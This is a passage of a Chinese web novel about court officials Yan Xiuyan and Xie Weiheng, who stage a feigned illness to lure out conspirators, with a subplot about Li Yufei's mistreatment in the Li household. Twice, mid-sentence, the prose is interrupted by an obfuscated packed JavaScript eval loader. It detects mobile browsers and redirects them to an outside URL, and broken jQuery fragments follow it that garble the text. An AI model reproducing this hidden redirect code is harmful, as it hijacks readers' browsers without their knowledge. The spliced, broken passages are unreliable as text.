燕修延眼睛一亮,目光却先落在了旁边的桌子上,见上面只摆着两杯清茶,顿时垮下脸来,指着桌子抱怨道:“陛下,就一杯茶啊?也太寒酸了吧。” 虞睿祥被他这副模样逗得失笑,摇了摇头:“怎么,难道谢卿还饿着你了不成?” 燕修延撇了撇嘴,一脸委屈,偷偷瞪了身旁的谢伟恒一眼:“他说早朝之时,怕我腹中不适,不能吃多。 就那点东西,还不够我塞牙缝的,站到现在,早就饿得前胸贴后背了。” 虞睿祥闻言,立刻吩咐内侍去御膳房传些精致的茶点来。 不多时,几碟精致的糕点和蜜饯便摆了上来。 燕修延一见,眼睛都亮了,拿起一块桂花糕就往嘴里塞,腮帮子鼓鼓的,像只偷吃东西的小松鼠,眉梢眼角都染上了笑意。 虞睿祥看着他这副模样,又看向一旁含笑注视着燕修延的谢伟恒,忍不住打趣道:“谢卿,你倒是说说,你到底看上他哪里了?是看上他吃得多,还是嘴贫,又或是这一身的无赖劲儿?” 燕修延嘴里还塞着糕点,闻言顿时不满地抬起头,含糊不清地反驳道:“陛下,你以前夸我的话,那可是跟不要银子似的,怎么现在到你这儿,我就一点长处都没有了?” 虞睿祥心里暗笑,心说我要是再把你夸上天,谢伟恒那醋坛子怕是要把朕的御书房都给淹了。 谢伟恒适时开口,打断了两人的话头,目光落在虞睿祥身上,语气恭敬:“不知陛下传我二人前来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646202|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有何要事?” 虞睿祥收敛了笑意,神色渐渐变得严肃起来,转入了正题:“你们二人离京的这几日,朕让人去查了长公主府的那个贺昭。 此人身份不简单,乃是晋王小妾的弟弟,而且在自愿卖身进长公主府之前,曾是吴县县令府上的一名小厮。” 燕修延咽下嘴里的糕点,等了片刻,见虞睿祥没有再往下说,便忍不住问道:“那这个吴县县令,是没查出什么问题来,还是根本就查不出?” 虞睿祥就等着他问这句话,当即挑眉道:“查不出。所以,燕卿,你这几日也休息够了,该干活了。” 燕修延闻言,当即垮下脸来,唉声叹气:“哎,陛下,臣又不是佃户家的老黄牛,累死累活的。李羽飞那档子事刚处理完,这才歇了几天啊。” 虞睿祥却不理会他的抱怨,自顾自地说道:“朕已经与皇妹商议过了,准备演上一出戏,引蛇出洞。” 燕修延一听有戏看,眼睛顿时亮了,也顾不上抱怨了,连忙抢在谢伟恒前头应了下来,拍着胸脯道:“他愿意!” 谢伟恒闻言,眉头几不可察地皱了起来。 他那日与虞睿祥私下商议对策,只提到了请郑太医为燕修延诊脉,做一出他受了内伤的假象,好引幕后之人放松警惕。 却从未提过要让长公主也参与其中。 虞睿祥看着燕修延这副急吼吼的模样,无奈地摇了摇头:“燕卿,朕说的是,你才是要演戏的那个,所以方才才会先问谢卿的意见。” 燕修延指指自己,又看看谢伟恒,没听错吧,演戏的是他,结果陛下却要问询谢伟恒的意愿? 谢伟恒的目光落在燕修延身上,语气平静,却带着几分不易察觉的在意:“长公主曾对你有意,此事朝中皆知。如今让她参与进来,难免会引人非议,更重要的是,我不愿你与她有过多牵扯。” 燕修延闻言,挑了挑眉,故意凑近他,语气带着几分戏谑:“哦?你怎么就知道,她没看上过你?谢大人这般芝兰玉树的人物,难保不会入了长公主的眼。” 谢伟恒看着他近在咫尺的眉眼,眼底的波澜渐渐褪去,只剩下一片深邃的认真,声音低沉而笃定,一字一句,清晰地传入燕修延耳中:“我心中自始至终只有你一人,从未有过旁人。燕大人,也能如此么?” 燕修延脸上的笑容倏地一僵,像是被人戳中了心事一般,哑口无言。 等等……谢伟恒这是……吃味了? 这个念头如同闪电般划过脑海,燕修延心里顿时生出几分坏心眼的趣味,贱劲儿一下子就上来了。 他干脆斜斜地靠在椅子扶手上,单手撑着下巴,似笑非笑地看着谢伟恒,语气里的调侃意味更浓了:“长公主那都是多少年前的陈芝麻烂谷子了,谢大人这是连这点陈年老醋都要吃?” 谢伟恒却半点不觉得难堪,坦然迎上他的目光,眼底甚至透着几分偏执的执拗,声音低沉而清晰:“吃。我无法忍受任何对你有过心思的人,再接近你分毫。这,有错么?” 燕修延被他这番直白的话堵得一噎,连舌头都打了结,磕磕巴巴地反驳道:“你、你怎么跟个妒妇似的……” 谢伟恒的指尖轻轻拂过他的手背,目光灼灼地看着他,语气带着几分无奈的纵容:“我也不想如此,可我……做不到。” 一旁的虞睿祥端着茶杯,饶有兴致地看着眼前这一幕,嘴角的笑意藏都藏不住。 好家伙,这两人之间的拉扯,可比戏文里演的还要有趣百倍。 燕修延被谢伟恒看得浑身不自在,连忙转过头,将矛头对准了一旁看热闹的虞睿祥,试图甩锅:“陛下!这可是你提议的,不关我的事啊!你可别看着他,他要吃醋也该找你,不该找我!” 虞睿祥反应极快,立刻将自己摘了个干净,笑着摆手道:“朕只是提议罢了,这不是还在询问谢卿的意见么?是你自己着急忙慌地答应下来,可怨不得旁人。” 燕修延甩锅失败,顿时有些气急败坏,又试图找补:“陛下你问的是谢伟恒,我哪里知道演戏的是我啊!我答应下来,不过是想着能有好戏看罢了!” 虞睿祥看着他这副慌乱的模样,笑得越发玩味。 果然是一物降一物。 往日里伶牙俐齿、从不吃亏的燕修延,一碰到谢伟恒,竟是连脑子都转不快了,这般自己坑自己的话都能说出来,实在是难得一见。 45. 我只喝酒,不吃酸的 燕修延还沾沾自喜着把虞睿祥堵得哑口无言,下巴微扬,眉眼间尽是得逞的得意。 没留神身旁谢伟恒的气息沉了几分,只听那人幽幽开口,声线里裹着点说不清道不明的委屈与质问:“燕大人既知道长公主或许会对我有意,却只为了自己看个热闹,就把我推出去?” 那语气轻淡,却字字敲在燕修延心上,让他那点得意瞬间卡了壳。 他忙竖起三根手指,举到眉前,一脸正色:“天地良心,我可真没想到这一层。” 他就是单纯觉着有戏看新鲜,压根没往这茬上绕。 谢伟恒瞧他那副急着辩解的模样,眼底掠过一丝浅淡的笑意,暂且不再揪着这事不放,转头看向一旁端着茶杯、津津有味看热闹的虞睿祥,神色瞬间归为沉敛。 “臣可以答应配合演戏。只是他日查抄中书令府、晋王府时,希望陛下能将其中一部分赃款充作边关军费。” “好说。” 虞睿祥本就有开疆扩土的雄心,正愁军费筹措的由头,自然愿意做这个顺水人情,他抬了抬下巴,爽快道:“你说个数。” 谢伟恒垂在身侧的手微曲,吐出四个字,字字清晰:“三千万两。” 燕修延心头猛地一跳,暗忖这家伙真是狮子大开口——大虞一年的国库岁入也不过四千万两。 但转念一想,中书令贪墨多年,家底绝不止四千万。 晋王经营多年,钱财只会更多,这数倒也不算过分,只是敢这般直接跟陛下要的,也就谢伟恒了。 虞睿祥略一思忖,便颔首应允:“朕答应你。” 燕修延当即坐直了身子,一脸不忿地看向虞睿祥:“陛下,臣前些日子跟你提多拨些款项加固边关守卫,你可没这么好说话。” 彼时虞睿祥只推说国库空虚,半点不肯松口。 “朕给你的赏赐还少了?” 虞睿祥没好气地白他一眼,声音压了些,“朕刚登基不久,若是大肆增拨军费,岂不是巴不得让诸国知道大虞的打算?” 他虽没明着应下燕修延的请求,可私下赏的金银、粮草、军械,算起来已是先帝在位时五年的军费总和。 那些东西,燕修延早借着镖局的路子,悄无声息送抵边关了。 燕修延闻言,摸了摸鼻尖,没再吭声——陛下这话倒是实情。 既有了虞睿祥亲口承诺的三千万军费,再听虞睿祥安排戏份时,他便敛了所有嬉皮笑脸,支着耳朵记得分外认真,生怕漏了半点细节。 待虞睿祥寥寥数语说完安排,燕修延愣了愣,一脸纳闷:“没了?” 就这么简单? 虞睿祥挑眉,语气戏谑:“怎么,你还想和湘晔多演上几出戏?” “陛下可别坑臣!” 燕修延连忙摆手,又转头白了谢伟恒一眼,语气带着点理直气壮的撇清,“况且这出戏里,明明你和长公主才是主角,别想借着由头找我麻烦。” 虞睿祥瞧着他这副急着划清界限的模样,饶有兴致地凑了句:“怎么,修延这是吃醋了?” 燕修延扯出个皮笑肉不笑的弧度,指尖敲了敲桌面:“臣只吃酒,不吃醋。不似谢大人,怕是打小在醋坛子里泡大的,酸气重得很。” 两人的拌嘴刚落,殿外宫人便轻声通报,大理寺少卿求见。 谢伟恒与燕修延当即起身行礼:“臣等告退。” 出御书房时,恰好与大理寺少卿打了个照面,三人略一点头,便擦身而过,动作间皆是朝堂官员的分寸。 两人并肩慢慢往宫门外走,青石砖路映着天光,将两人的影子拉得长长的。 燕修延揣着袖子,脚步慢悠悠的,忽然用肩膀撞了撞身旁的谢伟恒,语气里带着点说不清的羡慕:“我觉着,你的话在陛下那里,比我的好使多了。” 谢伟恒敛眉,唇角勾出一抹浅淡的笑意,声线温和:“以后你想跟陛下提什么事,不妨先同我说。” 燕修延闻言忙移开视线,看向一旁的宫墙,语气故作别扭,还强装不在意地补了句:“别多想啊,就是谢谢你今儿跟陛下提军费的事。你有没有什么喜欢的?我寻来谢你。” 谢伟恒垂在袖中的手指轻轻捻了捻,心头漾着暖意,忍住想要伸手捏一捏他脸颊的念头,只淡淡道:“晚些再说。” 晚些。 这两个字落在燕修延耳里,莫名就拐了弯, 脑子里第一个冒出来的便是——晚上? 他顿时抱住胳膊,侧过头斜睨着谢伟恒,眼神里带着点警惕,又透着点口是心非的强硬:“我可告诉你啊,不许想入非非,肉偿是万万不可能的。” 谢伟恒低笑出声,眉眼间的温柔几乎要溢出来:“燕大人这个主意倒是不错,只是我原本,不过是希望你晚上能陪我在院中月下共饮罢了。” 燕修延的脸倏地热了几分,忙扭过头去,背对着他胡乱挥了挥手,语气有些慌乱,却又带着笃定:“……晚上喝酒就晚上喝酒,就这么定了!其他杂七杂八的念头,你赶紧给我从脑子里丢出去,半分都不许有!” 谢伟恒看着他泛红的耳尖,含笑应了声:“好。” 出了宫门,谢伟恒先遣马车送燕修延去监察司,待看着他进了监察司的大门,才转身吩咐车夫往谢伯先前抓药的两家药铺去。 他前脚刚从药铺取了药出来,后脚,谢伟恒亲往药铺抓药的消息,便快马加鞭传到了中书令府。 中书令捏着密信,眉头皱得能夹死蚊子,在书房里来回踱步。 若是燕修延一直避而不出,他倒要疑心是圈套。 可燕修延照常上朝,坊间也无半点他受伤的消息,偏谢伟恒还日日遣人抓药,甚至今日亲自去了——这般小心翼翼,倒不似作假。 “犯不着这么小心。” 晋王坐在一旁的太师椅上,端着茶杯抿了口,看着中书令来来回回的走,语气满是不耐烦。 “那几位大将军都不在京城,就算燕修延没受伤,就他一个,还能翻出多大的花来?” “监察司里的人,个个各怀本事,又惯会打听消息,老夫是担心稍有不慎,便叫他们提前知晓了咱们的计划。” 中书令苦口婆心,“倘若能确定燕修延是受了严重内伤,日日喝药,监察司群龙无首,咱们做些事情,也不必这般畏首畏尾,甚至还能趁机在他喝的药里动些手脚……” 他话音未落,门外便传来三声轻叩,中书令立刻开门。 季乐允闪身进来,压低声音道:“王爷,大人,查清楚了。监察司的温泽和柳岚,带着几个人出了京城,径直往西域去了,沿途都在打听医术了得的大夫。” 晋王猛地一拍桌子,眼中闪过喜色:“你看看!这就对了!燕修延定然是命不久矣,才急着让人去西域寻名医!盯着燕修延的人可以撤回来了,去做别的事!” 中书令脸上也透出难掩的喜色,连连点头:“当真?如此甚好,如此甚好啊!” 紧接着,又有下人匆匆来报:“王爷,大人,长公主殿下往监察司去了,方才在监察司门口,已经和燕大人碰上了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646203|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边,燕修延刚在监察司安排完西域那边的布防事宜,揉着眉心从正厅出来。 刚到门口,便瞧见一辆熟悉的公主驾马车停在石阶下,虞湘晔正从马车上下来,一身华服,眉眼间带着几分急切。 燕修延心里咯噔一下,暗道糟了——陛下明明说的是三天后才演这出戏,怎么长公主今儿就来了? 这节奏不对,得赶紧让谢伟恒去跟陛下提加钱的事! 他后来才反应过来,虞湘晔哪里是按计划来,不过是闲得无聊,得知他今日上朝,便自己寻来了。 “修延哥!” 虞湘晔一眼瞧见他,快步上前,直接伸手就要去抓燕修延的手腕,语气急切,“你跟本宫走!” 燕修延反应极快,脚下麻利地往后退了两步,直接退进了监察司的大门,反手便扣上了门栓,动作一气呵成。 虞湘晔的手落了空,看着紧闭的大门,气鼓鼓地抬脚踢了踢门板。 她身后的新欢倒是有眼色,立刻让人从马车上抱来一把斧头,双手奉上。 “殿下,给。” 燕修延早踩着台阶翻上了墙头,蹲在墙头上,抠下一块墙皮,精准地丢到虞湘晔脚下,声音悠哉:“公主,我劝你放下斧头,立刻回府。这门,你砸不开的。” 虞湘晔闻言,举起斧头便朝着大门狠狠砸了下去,“哐当”一声巨响,震得她手掌发麻,斧头差点脱手。 那精铁所制的大门却纹丝不动。 “监察司的门,乃精铁所制,寻常斧头,可没用。” 燕修延坐在墙头,晃着腿,语气越发悠闲。 这动静早惊动了监察司里的人,一众属下端着茶杯、揣着瓜子,纷纷跑出来看热闹。 不多时,监察司的墙头便蹲满了人,一排脑袋探出来,瞧着门外的长公主。 他们还不忘规规矩矩行礼:“见过公主殿下。” 被这么多人盯着,虞湘晔脸颊微红,差点忘了自己来的目的。 定了定神才扬声对着墙头上的燕修延喊:“修延哥!你跟本宫回公主府,本宫的府医医术高明,比郑太医还要厉害,你让他瞧上一瞧,可好?” 温瑞是知晓燕修延假装受伤内情的,此刻蹲在燕修延身旁,心里纳闷长公主是从哪得来的消息。 却半点不影响他身为于燕修延下属的默契。 温瑞故意做出一脸吃惊的模样,扯着嗓子问:“头儿,公主殿下干嘛突然让你看大夫?你……你该不会是那方面有问题吧?” “放你的狗屁!” 燕修延一巴掌拍在温瑞的后脑勺上,直接把他从墙头上拍了下去,温瑞“哎哟”一声摔在地上,却半点不恼,还捂着脑袋笑。 燕修延转头对着门外的虞湘晔,语气正色,“臣不知公主从哪儿听到的虚假消息,臣身子骨好得很,能扛鼎能拉弓,半点毛病没有,公主请回吧!” “少爷,这监察司的墙头,怎么好像变高了?” 谢小厮远远瞧见这一幕,奇怪地张望着,又揉了揉眼睛,“不对啊,墙头怎么还会动?” 谢伟恒抬手掀开车帘,眸光微凝,他视力本就极好,一眼便瞧见了蹲在墙头、一身墨色官袍衬得眉眼飞扬的燕修延,也瞧见了背对着马车、正对着墙头说话的长公主,甚至还瞧见了墙头上蹲了一排看热闹的监察司众人,那场面,说不出的滑稽。 ———— 日后剧情: 燕修延:你不能这样,你得听我狡辩。 谢伟恒:穿女装狡辩我就听。 46. 还敢嘴硬! 虞湘晔肩头忽然一颤,指尖下意识攥紧了腰间玉扣,她猛地扭头,视线穿透巷口的薄雾,正望见一辆乌木马车轱辘碾着青石板,不疾不徐往这边驶来。 燕修延顺着她的目光瞥去,唇角立刻勾出几分促狭的笑,手肘抵着墙歪头道:“公主殿下,臣劝你还是现在就登车走吧,再晚,怕是没这么好的收场了。” 虞湘晔霍然回头,鬓边珠花随动作轻颤,娇容凝着愠怒:“本宫再说最后一遍,修延哥你下来,跟本宫走。” “那臣也再说最后一遍,” 燕修延直起身,语气斩钉截铁,半点转圜余地都无,“臣不会跟你走的。” 说着,他还不忘转头冲身后监察司的众人扬声叮嘱,“你们都记好了,今日是公主相邀,我可是千般万般坚定拒绝了,半分情面没留。” 这话明着是说给众人听,实则字字句句都往马车来的方向递。 生怕谢伟恒瞧见这阵仗,回头又借着由头装可怜、闹小脾气,那醋劲上来,他可有得受。 监察司众人何等通透,当即齐刷刷点头。 虞湘晔看着他这副没正形的模样,心底只剩唾弃—— 当初她竟瞎了眼,看上过这样的人,除了一张皮相拔尖,其余地方竟没一处入眼。 她扫过监察司旁的几个小吏,心想倒也未必,其他人,模样身段也都还算周正。 马蹄声渐近,车轱辘停在巷口的刹那,锦缎车帘被一只骨节分明的手轻掀,谢伟恒身着月白锦袍,身姿挺拔地从车上走下,玄玉束发衬得面如冠玉,周身清冷的气韵瞬间压过了周遭的喧嚣。 他几步走到燕修延身侧,自然地站定,目光淡淡扫过虞湘晔,没半分多余的神色。 虞湘晔的目光在燕修延和谢伟恒之间打了个转,又下意识瞥了眼自己身侧随侍的小厮—— 那小厮眉眼也算清秀,往日里她还觉着顺眼,可此刻往这两人跟前一放,竟瞬间成了庸脂俗粉,连半分光彩都无。 她默默收回方才的心思,忽然觉得,一张好看的脸还是挺重要的。 谢伟恒抬眸,声线清冷如玉石相击:“不知公主殿下来监察司,有何贵干?” 虞湘晔骄矜地仰起下巴,下颌线绷出几分娇蛮:“本宫听闻你前几日入宫,请了郑太医前来,想来是修延哥身子不适。 本宫府上的大夫,医术远胜郑太医,你让修延哥随本宫走一趟,诊过脉,若无事,本宫自然放他回来。” 顿了顿,她似是松了口,又补充道,“你若不放心,也可一同跟去。” “臣入宫请郑太医,并非为了燕大人,殿下怕是误会了。” 谢伟恒抬手,做了个请辞的姿势,语气依旧平淡,却带着不容置喙的疏离,“殿下若无其他事,还请移步离开,莫要扰了监察司办公。” “谢伟恒!你别不识好歹!” 虞湘晔气的直跺脚,绣鞋碾过青石板,发出清脆的声响。 谢伟恒维持着抬手的动作,身姿未动,眉眼间的清冷分毫未减,仿佛没瞧见她的怒意。 她昨夜还在府中对着铜镜排练了半宿,想着今日该如何软语相劝,如何步步为营,连戏码都设计了七八折。 怎料谢伟恒竟半点情面不留,直接就下了逐客令。 那哪行? 燕修延见状,索性从墙根的石阶上跳下来,胳膊一伸,没个正形地搭在谢伟恒的肩头,晃了晃道:“殿下费心了,臣身子好得很,能吃能喝能办案,您就别咒臣染病了。” 虞湘晔早有准备,抬手假意抹了下眼角—— 指尖早已涂了磨碎的辣椒面,辛辣的气味一熏,眼泪瞬间涌了上来,连眼眶都红透了。 她抽噎着,声音软了几分,带着哭腔:“修延哥,你怎能讳疾忌医?不过是跟本宫走一趟,诊过脉便罢,你何苦这般执拗?” 燕修延偏头,凑到谢伟恒耳边,用气声低低道:“瞧瞧,咱们公主殿下也学起装可怜了,就是这功夫,比你可差远了。” 他眼底半点不忍都无,反倒藏着几分看戏的笑意。 谢伟恒垂眸,瞥见他唇角的弧度,敛着的眉峰微微舒展,嘴角竟极淡地向上扬了一瞬,快得如同错觉。 虞湘晔闭着眼一个劲眨眼,只觉眼眶里火辣辣的疼,眼泪止不住地往下掉,连视线都模糊了。 可即便隔着一层水雾,燕修延揽着谢伟恒肩头的模样,两人并肩而立的挺拔身姿,依旧晃得她眼晕。 可惜了,这般出挑的两个人,已成了亲,她连半分机会都无。 再想想自己身边的人,不是姿色平平,就是别有用心,竟没一个能入眼的。 呵,男人。 心底这般想着,那哭腔竟掺了几分真情实意,连肩膀都微微耸动起来。 见她哭了半晌,身前两人竟连块帕子都没递,半点怜香惜玉的意思都无。 反倒凑在一起交头接耳,窃窃私语,那模样,竟像是耳鬓厮磨,没半分正形。 虞湘晔越想越气,胸口堵得慌。 身旁的小厮终于敢上前,赔着小心递上锦帕:“殿下莫哭了,仔细哭坏了眼睛,回去陛下该心疼了。” 虞湘晔满心不耐地接过帕子擦了擦眼睛,可那辛辣的滋味早已渗进眼膜。 半点用处都无,眼睛依旧辣得睁不开。 眼泪吧嗒吧嗒往下掉,连她精心设计的哭戏,都没法好好发挥了。 她用帕子死死掩住鼻子,心底暗叫糟糕—— 再这么哭下去,怕是要流涕了,这波牺牲也太大了,回头定要向皇兄讨些宝贝补偿。 “本宫还会再来的。” 虞湘晔吸了吸鼻子,声音带着浓重的鼻音,却依旧强撑着骄矜,“修延哥,你千万不要放弃,本宫定会想办法的。” 说罢,她踩着马凳,一手死死掩着鼻子,一手扶着车辕,狼狈地爬上马车。 车帘落下,马车轱辘碾着青石板驶远,巷口还能清晰听见燕修延那放肆的、毫无顾忌的笑声,传了很远。 马车内,虞湘晔面无表情地掉着眼泪,身旁的面首们大气都不敢出,连呼吸都放轻了。 燕修延好不容易止住笑,抬手揉了揉肚子,刚说了句“这长公主,倒挺好玩的。” 话音未落,便觉周身的气温骤然降了几分。 他心头一咯噔,抬眼便对上谢伟恒那双意味深长的眸子,那眼底似笑非笑,藏着说不清道不明的情绪,看得他后颈一凉。 燕修延连忙转头,冲着墙头上蹲着的、看热闹的监察司众人挥挥手,高声道:“散了散了,都回各司办事去,今日这事,谁都不许往外说。” 长公主这一闹,倒成了最好的佐证。 中书令捏着手中的密信,指尖微微泛白——他此刻彻底信了,燕修延当真是病的不轻。 毕竟长公主与陛下素来势同水火,绝无可能帮着陛下演这出戏; 况且长公主昔日倾心燕修延的事,京中谁人不知,她定是从何处得了燕修延病重的消息,才会这般急切地赶来。 只是心底,却总萦绕着几分说不清道不明的不安,像有根细刺,扎得慌。 晋王怀里搂着美人,半倚在软榻上,摇头晃脑,好不得意:“你瞧瞧,本王从一开始就说,燕修延那小子定是真病了,你还不信。如今长公主都亲自上门了,还有假?” 中书令垂着手站在一旁,连忙躬身恭维:“王爷英明,属下目光短浅,不及王爷万分之一。” 晋王得意地摆了摆手,说出自己的猜测:“老四那小子,突然赐婚,又火急火燎地让两人成了亲,定是为了方便给燕修延疗伤。想来是燕修延早年跟着老四打天下,落下了病根,往日里没当回事,如今拖严重了。” 燕修延那样,身边连个伺候的小厮都没有。 虽有从龙之功,日子却过得清苦。 那几十箱嫁妆,还有赏的那处宅院,定是皇帝和太后补偿燕修延的。 晋王越想越觉得自己猜的分毫不差,指尖敲着榻沿,继续道:“再者,若是日后燕修延病重药石无医,老四还能推说是与谢伟恒成亲后,心气郁结,才惹出的病灶。 到时候,既全了君臣情分,又不会落人口实,老四这算盘,打得可真精。” 这套推论,乍一听竟丝丝入扣,毫无破绽,可稍一推敲,又觉得哪儿哪儿都透着怪异,偏生又说不出究竟是哪里不对。 中书令太了解晋王的性子,此刻只能顺着他的话夸,但凡敢提出半点不一样的意见,晋王定要动怒。 “王爷英明,此事定是如此。”中书令躬身,语气愈发恭敬。 晋王装模作样地叹了口气,满脸惋惜:“老四这小子,真是阴险狡诈。倘若燕修延当初跟了本王,本王定不会如此亏待他,定让他享尽荣华富贵。” “王爷宅心仁厚,燕修延若能跟着王爷,定是福分。” 中书令依旧顺着话头,半句反驳都无。 另一边,魏府书房内,掌掴声骤然响起,清脆又响亮。 魏仲泽面色铁青,一巴掌狠狠打在李想脸上,打得李想脸颊瞬间红肿,嘴角渗出血丝。 “废物!” 魏仲泽怒喝,声音震得房梁都似在颤,“你女儿从杭州回来了,你竟半点不知情!李想,你这个废物!” 李想连忙跪地,额头死死抵着地面,连大气都不敢喘:“义父,儿子知错,儿子百死莫辞。” “知错有什么用?” 魏仲泽一脚踹在他胸口,恨铁不成钢,“李羽飞如今回来了,杭州那边的事,怎么办?!你想过没有?杭州那摊子事,全是借着她的名头撑着,如今她回来了,若是被燕修延查出来,你我都得获罪,满门抄斩都不够!” “义父息怒。” 李想忍着胸口的疼,连忙道,“杭州那边,依旧用羽飞的名义便是,那些事本就不用人亲自到场,只要书信往来,旁人绝不会察觉。羽飞这边,儿子定会看紧她,绝不让她坏了义父的大事。” “你说的倒是轻巧。” 魏仲泽冷哼,眼底满是阴翳,“燕修延那小子的手段,你又不是不知道,他若是盯上了李家,顺着线索查下去,你我都得死无葬身之地!” 李府内,西跨院的合院里,李羽飞临窗而立,望着窗外的海棠树出神。 院中风轻,海棠花瓣簌簌飘落,落在青石板上,铺了薄薄一层。 丫鬟清淑端着食盒走进来,将食盒中的桃片糕和凤梨酥一一端上桌,轻声道:“小姐,厨房刚做的点心,您尝尝。” 李羽飞回过神,走到桌前坐下,目光落在那碟桃片糕上,指尖轻轻摩挲着杯沿,轻声道:“我听说,府中经常做山楂糕。” 清淑愣了一下,随即连忙回道:“回小姐,山楂糕在府里,都是我们下人吃的点心,上不得台面。小姐您金枝玉叶,尝尝这桃片糕吧,是用上好的糯米粉做的,加了桂花蜜,甜而不腻,入口即化,味道极好。” 李羽飞拿起一片桃片糕,放在指尖看着,眸光微沉,脑海中却闪过儿时的画面—— 那时她还在杭州,跟着舅舅、舅母生活,舅母总会拿出李想派人送来的山楂糕,她便坐在小溪边的岩石上,一边吃着山楂糕,一边看着溪水潺潺流淌。 清淑看出她的神色不对,眼底带着几分担忧,小心翼翼地问:“小姐,可是这些点心不合您的口味?若是不合,奴婢这就去厨房,让他们重新做。” 李羽飞将手中的桃片糕轻轻放回碟中,唇角勾起一抹极淡的笑,转头看向清淑:“你叫清淑?” 清淑连忙蹲身行礼,姿态恭敬:“是,奴婢本在前院伺候,老爷听闻小姐回来了,便特意吩咐奴婢前来照看小姐的饮食起居。” 话音未落,院外便传来张采茵教育丫鬟的声音,声音不大,却字字句句都能传进院内:“大小姐虽自小长在杭州,却是李家唯一的嫡出女儿,日后府中不论吃穿用度,都得把最好的留给大小姐,绝不能有半分亏待,更不能给大小姐甩脸子,记住了吗?” 清淑连忙打开窗户,李羽飞便看见院门口的一幕。 张采茵身着淡紫锦裙,眉眼温婉,身旁站着几个丫鬟,其中一个穿粉色衣裙的丫鬟翠竹,满脸不服气,撇着嘴道:“姨娘,府里的人谁不待见她?您这般费心照顾着,又是何苦呢?” 张采茵身边的大丫鬟立刻呵斥:“翠竹,你太放肆了!姨娘的话,你也敢反驳?” “我说错了吗?” 翠竹梗着脖子,半点不服,“她一个从乡野回来的,凭什么占着嫡出的名头,让我们都捧着她?” “好了。” 张采茵抬手,制止了大丫鬟的呵斥,语气依旧温婉,“我们虽为主仆,但同为女人,后宅生存不易,切不可互相为难。 翠竹,你也收敛一些,不可再胡言乱语,今日之事,我便不追究了,日后再犯,定不轻饶,记住了吗?” 翠竹虽满心不服,却也不敢再反驳,只得蹲身行礼:“是,奴婢记住了。” 张采茵被前院的奴婢叫走,清淑便跟着李羽飞掀开门帘走了出来。 李羽飞看着翠竹,冷声问道:“方才我听见你说,前院如何了?” 翠竹抬眼,瞥了李羽飞一眼,语气带着几分轻慢:“托大小姐的福,咱们李府呀,今日可真是热闹呢,满府的人,都在议论大小姐从杭州回来的事。” 李羽飞淡淡开口,语气平静:“倒是给各位妹妹,还有府里的下人添麻烦了。” “哎呦,这可担当不起。” 翠竹立刻嗤笑一声,语气愈发不敬,“您是主子,我们是奴婢,怎么能与主子以姐妹相称呢? 况且这里是京城李府,不是杭州的乡野地方,这话若是传出去,旁人该说李家没规矩了。” 李羽飞的目光骤然冷了下来,转头看向清淑 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这话倒像是火上浇油,李修远本就满心火气,此刻更是怒不可遏,一把推开李羽飞,冲进屋内,将李羽飞的东西尽数拖出来,狠狠摔在地上,衣物和书卷散落一地。 “给我滚!”李修远怒喝,“这李府,不欢迎你这个孤鬼!” 清淑连忙护着李羽飞往后退,避开散落的物件。 李修远上前一步,指着李羽飞的鼻子,字字句句都淬着毒:“你这个灾星,坏我好事!你是李家唯一的嫡出女儿,我还是父亲唯一的儿子呢!滚滚滚,立刻滚出李家去!半个京城都传遍了,都说李家的孤鬼克死了祖亲,如今连舅亲都被你妨死了,你才逃回京城来! 你看看这合院,稍微胆小点的下人都不敢进门,你害得父亲低三下四地去与人求和,害得满院子不得安宁,你告诉我,这个家,谁能容得下你?” 他越说越气,抬手便将李羽飞狠狠推进了院内的荷花池里。 池水虽不深,却冰冷刺骨,李羽飞瞬间浑身湿透,发髻散乱,狼狈不堪。 清淑连忙跳进池里,将李羽飞扶了上来。 李羽飞站在池边,冰冷的池水顺着衣摆往下滴,她却半点不见慌乱,抬眼看向李修远,唇角勾起一抹冷嘲:“二弟,就算今夜将我打死,难道明日,你的好事就会成了么?你倒想得真美。” “还敢嘴硬!” 李修远怒目圆睁,抬手便要打李羽飞,“我今天就打死你这个孤鬼,替李家除了这个灾星!” “快将他拦下!快把二公子拦下来!” 张采茵急匆匆地跑进来,声音带着急切。几个家丁连忙上前,死死拦住了李修远。 张采茵扶住气冲冲的李修远,厉声呵斥:“你干什么!她是你姐姐,你怎能对她如此无礼?” 转头看向浑身湿透、脸色苍白的李羽飞,眼底闪过几分复杂的情绪。 “小娘!”李修远挣着家丁的手,满脸委屈和愤怒。 不久,西跨院的合院里恢复了寂静。 待众人都散去,房梁上忽然掠下一道黑影,温瑞落地,身形轻快,对着李羽飞躬身道:“大小姐,今日一番,可摸清楚李家的行事了?” 李羽飞换了身干净的素衣,坐在灯下,指尖捧着一杯热茶,暖着冰冷的指尖。 她淡淡点头:“那姨娘张采茵,瞧着不像是在李府待了许久的人,眉眼间的温婉,倒像是装出来的。” “大小姐观察细致。” 温瑞道,“李想是先纳了张采茵,才娶的夫人,张采茵在李府已有十余年。不过头儿说了,不用太在意张采茵,她翻不起什么风浪,大小姐只需盯着李想即可。” 温瑞走后,清淑端着一碗热气腾腾的药走进来,轻声道:“小姐,风寒药热好了,快些喝了吧,别又凉了,仔细染了重风寒。” 李羽飞接过药碗,低头喝了一口,苦涩的药味漫开,她却半点皱眉都无。 “啊欠!” 